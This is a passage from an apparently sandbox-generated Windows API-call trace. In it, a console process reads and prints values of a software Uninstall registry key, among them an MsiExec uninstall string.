lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.466] GetConsoleOutputCP () returned 0x1b5 [0147.467] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.467] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.467] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.467] GetProcessHeap () returned 0x2e0000 [0147.467] GetProcessHeap () returned 0x2e0000 [0147.467] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.467] GetProcessHeap () returned 0x2e0000 [0147.467] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.467] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.467] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.467] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.467] GetProcessHeap () returned 0x2e0000 [0147.467] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.467] GetProcessHeap () returned 0x2e0000 [0147.467] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.467] GetProcessHeap () returned 0x2e0000 [0147.467] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.467] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.467] __iob_func () returned 0x7fefd702a80 [0147.467] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.467] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.467] _fileno (_File=0x7fefd702ab0) returned 1 [0147.467] _errno () returned 0xc4bb0 [0147.467] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.467] _errno () returned 0xc4bb0 [0147.467] GetFileType (hFile=0x50) returned 0x1 [0147.467] lstrlenW (lpString=" ") returned 4 [0147.467] GetConsoleOutputCP () returned 0x1b5 [0147.467] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.468] GetConsoleOutputCP () returned 0x1b5 [0147.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.468] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.468] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.468] lstrlenW (lpString="SystemComponent") returned 15 [0147.468] __iob_func () returned 0x7fefd702a80 [0147.468] _fileno (_File=0x7fefd702ab0) returned 1 [0147.468] _errno () returned 0xc4bb0 [0147.468] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.468] _errno () returned 0xc4bb0 [0147.468] GetFileType (hFile=0x50) returned 0x1 [0147.468] lstrlenW (lpString="SystemComponent") returned 15 [0147.468] GetConsoleOutputCP () returned 0x1b5 [0147.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.468] GetConsoleOutputCP () returned 0x1b5 [0147.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0147.468] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.468] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.468] __iob_func () returned 0x7fefd702a80 [0147.468] _fileno (_File=0x7fefd702ab0) returned 1 [0147.468] _errno () returned 0xc4bb0 [0147.468] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.468] _errno () returned 0xc4bb0 [0147.469] GetFileType (hFile=0x50) returned 0x1 [0147.469] lstrlenW (lpString=" ") returned 4 [0147.469] GetConsoleOutputCP () returned 0x1b5 [0147.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.469] GetConsoleOutputCP () returned 0x1b5 [0147.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.469] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.469] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.469] __iob_func () returned 0x7fefd702a80 [0147.469] _fileno (_File=0x7fefd702ab0) returned 1 [0147.469] _errno () returned 0xc4bb0 [0147.469] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.469] _errno () returned 0xc4bb0 [0147.469] GetFileType (hFile=0x50) returned 0x1 [0147.469] lstrlenW (lpString="REG_DWORD") returned 9 [0147.469] GetConsoleOutputCP () returned 0x1b5 [0147.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.469] GetConsoleOutputCP () returned 0x1b5 [0147.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.470] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.470] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.470] __iob_func () returned 0x7fefd702a80 [0147.470] _fileno (_File=0x7fefd702ab0) returned 1 [0147.470] _errno () returned 0xc4bb0 [0147.470] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.470] _errno () returned 0xc4bb0 [0147.470] GetFileType (hFile=0x50) returned 0x1 [0147.470] lstrlenW (lpString=" ") returned 4 [0147.470] GetConsoleOutputCP () returned 0x1b5 [0147.470] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.470] GetConsoleOutputCP () returned 0x1b5 [0147.470] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.470] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.470] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.470] __iob_func () returned 0x7fefd702a80 [0147.470] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.470] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.470] _fileno (_File=0x7fefd702ab0) returned 1 [0147.470] _errno () returned 0xc4bb0 [0147.470] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.470] _errno () returned 0xc4bb0 [0147.470] GetFileType (hFile=0x50) returned 0x1 [0147.470] lstrlenW (lpString="0x1") returned 3 [0147.470] GetConsoleOutputCP () returned 0x1b5 [0147.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.471] GetConsoleOutputCP () returned 0x1b5 [0147.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.471] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.471] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.471] __iob_func () returned 0x7fefd702a80 [0147.471] _fileno (_File=0x7fefd702ab0) returned 1 [0147.471] _errno () returned 0xc4bb0 [0147.471] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.471] _errno () returned 0xc4bb0 [0147.471] GetFileType (hFile=0x50) returned 0x1 [0147.471] lstrlenW (lpString="\n") returned 1 [0147.471] GetConsoleOutputCP () returned 0x1b5 [0147.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.471] GetConsoleOutputCP () returned 0x1b5 [0147.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.471] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.471] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.471] GetProcessHeap () returned 0x2e0000 [0147.472] GetProcessHeap () returned 0x2e0000 [0147.472] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.472] GetProcessHeap () returned 0x2e0000 [0147.472] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.472] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.472] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.472] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.472] GetProcessHeap () returned 0x2e0000 [0147.472] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.472] GetProcessHeap () returned 0x2e0000 [0147.472] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.472] GetProcessHeap () returned 0x2e0000 [0147.472] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.472] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.472] __iob_func () returned 0x7fefd702a80 [0147.472] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.472] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.472] _fileno (_File=0x7fefd702ab0) returned 1 [0147.472] _errno () returned 0xc4bb0 [0147.472] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.472] _errno () returned 0xc4bb0 [0147.472] GetFileType (hFile=0x50) returned 0x1 [0147.472] lstrlenW (lpString=" ") returned 4 [0147.472] GetConsoleOutputCP () returned 0x1b5 [0147.472] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.472] GetConsoleOutputCP () returned 0x1b5 [0147.473] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.473] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.473] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.473] lstrlenW (lpString="UninstallString") returned 15 [0147.473] __iob_func () returned 0x7fefd702a80 [0147.473] _fileno (_File=0x7fefd702ab0) returned 1 [0147.473] _errno () returned 0xc4bb0 [0147.473] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.473] _errno () returned 0xc4bb0 [0147.473] GetFileType (hFile=0x50) returned 0x1 [0147.473] lstrlenW (lpString="UninstallString") returned 15 [0147.473] GetConsoleOutputCP () returned 0x1b5 [0147.473] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.473] GetConsoleOutputCP () returned 0x1b5 [0147.473] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0147.473] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.473] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.473] __iob_func () returned 0x7fefd702a80 [0147.473] _fileno (_File=0x7fefd702ab0) returned 1 [0147.473] _errno () returned 0xc4bb0 [0147.473] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.473] _errno () returned 0xc4bb0 [0147.473] GetFileType (hFile=0x50) returned 0x1 [0147.474] lstrlenW (lpString=" ") returned 4 [0147.474] GetConsoleOutputCP () returned 0x1b5 [0147.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.474] GetConsoleOutputCP () returned 0x1b5 [0147.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.474] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.474] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.474] __iob_func () returned 0x7fefd702a80 [0147.474] _fileno (_File=0x7fefd702ab0) returned 1 [0147.474] _errno () returned 0xc4bb0 [0147.474] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.474] _errno () returned 0xc4bb0 [0147.474] GetFileType (hFile=0x50) returned 0x1 [0147.474] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.474] GetConsoleOutputCP () returned 0x1b5 [0147.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.474] GetConsoleOutputCP () returned 0x1b5 [0147.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.475] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.475] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.475] __iob_func () returned 0x7fefd702a80 [0147.475] _fileno (_File=0x7fefd702ab0) returned 1 [0147.475] _errno () returned 0xc4bb0 [0147.475] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.475] _errno () returned 0xc4bb0 [0147.475] GetFileType (hFile=0x50) returned 0x1 [0147.475] lstrlenW (lpString=" ") returned 4 [0147.475] GetConsoleOutputCP () returned 0x1b5 [0147.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.475] GetConsoleOutputCP () returned 0x1b5 [0147.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.475] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.475] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.475] __iob_func () returned 0x7fefd702a80 [0147.475] _fileno (_File=0x7fefd702ab0) returned 1 [0147.475] _errno () returned 0xc4bb0 [0147.475] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.475] _errno () returned 0xc4bb0 [0147.475] GetFileType (hFile=0x50) returned 0x1 [0147.475] lstrlenW (lpString="MsiExec.exe /X{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}") returned 52 [0147.475] GetConsoleOutputCP () returned 0x1b5 [0147.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.476] GetConsoleOutputCP () returned 0x1b5 [0147.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}", lpUsedDefaultChar=0x0) returned 52 [0147.476] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.476] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.476] __iob_func () returned 0x7fefd702a80 [0147.476] _fileno (_File=0x7fefd702ab0) returned 1 [0147.476] _errno () returned 0xc4bb0 [0147.476] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.476] _errno () returned 0xc4bb0 [0147.476] GetFileType (hFile=0x50) returned 0x1 [0147.476] lstrlenW (lpString="\n") returned 1 [0147.476] GetConsoleOutputCP () returned 0x1b5 [0147.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.476] GetConsoleOutputCP () returned 0x1b5 [0147.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.476] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.476] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.476] GetProcessHeap () returned 0x2e0000 [0147.476] GetProcessHeap () returned 0x2e0000 [0147.476] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.477] GetProcessHeap () returned 0x2e0000 [0147.477] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.477] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.477] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.477] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.477] GetProcessHeap () returned 0x2e0000 [0147.477] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.477] GetProcessHeap () returned 0x2e0000 [0147.477] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.477] GetProcessHeap () returned 0x2e0000 [0147.477] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.477] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.477] __iob_func () returned 0x7fefd702a80 [0147.477] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.477] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.477] _fileno (_File=0x7fefd702ab0) returned 1 [0147.477] _errno () returned 0xc4bb0 [0147.477] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.477] _errno () returned 0xc4bb0 [0147.477] GetFileType (hFile=0x50) returned 0x1 [0147.477] lstrlenW (lpString=" ") returned 4 [0147.477] GetConsoleOutputCP () returned 0x1b5 [0147.477] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.477] GetConsoleOutputCP () returned 0x1b5 [0147.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.478] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.478] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.478] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.478] __iob_func () returned 0x7fefd702a80 [0147.478] _fileno (_File=0x7fefd702ab0) returned 1 [0147.478] _errno () returned 0xc4bb0 [0147.478] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.478] _errno () returned 0xc4bb0 [0147.478] GetFileType (hFile=0x50) returned 0x1 [0147.478] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.478] GetConsoleOutputCP () returned 0x1b5 [0147.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.478] GetConsoleOutputCP () returned 0x1b5 [0147.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0147.478] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.478] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.478] __iob_func () returned 0x7fefd702a80 [0147.478] _fileno (_File=0x7fefd702ab0) returned 1 [0147.478] _errno () returned 0xc4bb0 [0147.478] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.478] _errno () returned 0xc4bb0 [0147.478] GetFileType (hFile=0x50) returned 0x1 [0147.478] lstrlenW (lpString=" ") returned 4 [0147.479] GetConsoleOutputCP () returned 0x1b5 [0147.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.479] GetConsoleOutputCP () returned 0x1b5 [0147.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, 